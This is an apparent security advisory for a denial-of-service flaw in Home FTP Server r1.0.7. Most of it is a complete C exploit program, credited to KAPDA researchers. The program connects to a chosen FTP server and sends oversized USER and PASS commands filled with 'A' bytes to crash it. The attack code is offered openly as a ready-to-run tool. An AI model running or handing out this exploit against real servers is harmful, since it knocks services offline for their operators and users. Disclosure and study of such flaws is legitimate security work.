[EXPL] Home FTP Server DoS (Exploit)

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Home FTP Server DoS (Exploit)
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SUMMARY

" <http://downstairs.dnsalias.net/homeserver_download.html> Home FTP
server is a very easy to use Windows FTP server application with all the
nice FTP features included."

Home FTP server does not handle large buffers properly allowing attackers
to cause a DoS on the server.

DETAILS

Vulnerable Systems:
* Home FTP server version r1.0.7

Exploit:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0a"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers
Institute\n\n");
printf("[i] Title: \tHome Ftp <= r1.0.7 Dos Exploit\n");
printf("[i] Discovered by: \tcvh {a] kapda.ir\n");
printf("[i] Exploit by: \tPi3cH {a] kapda.ir\n");
printf("[i] More info: \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage: \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
printf ( "[e] Failed connecting!\n" );
exit(1);
}
return ( s );
}

int main(int argc, char *argv[]) {
int s,i;
char *request;
char junk_data[2011];
header();
if( (argc < 2) )
usage(argv[0]);
request = (char *) malloc(1024);
printf("[r] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
sleep(1);
printf("[r] Creating buffer\n");
for(i=0;i<2011;i++)
strcat(junk_data,"\x41");
sprintf(request,POCSTR,junk_data,junk_data);
printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
if ( send ( s, request, strlen (request), 0) <= 0 )
{
printf("[e] Failed to send buffer\n");
close(s);
exit(1);
}
sleep(1);
printf("[s] Exploit Done!\n");
close(s);
free(request);
request = NULL;
return 0;
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:kapda.ir@xxxxxxxxxxxxxxxxx>
KAPDA.
The original article can be found at: <http://www.kapda.ir/>
http://www.kapda.ir/



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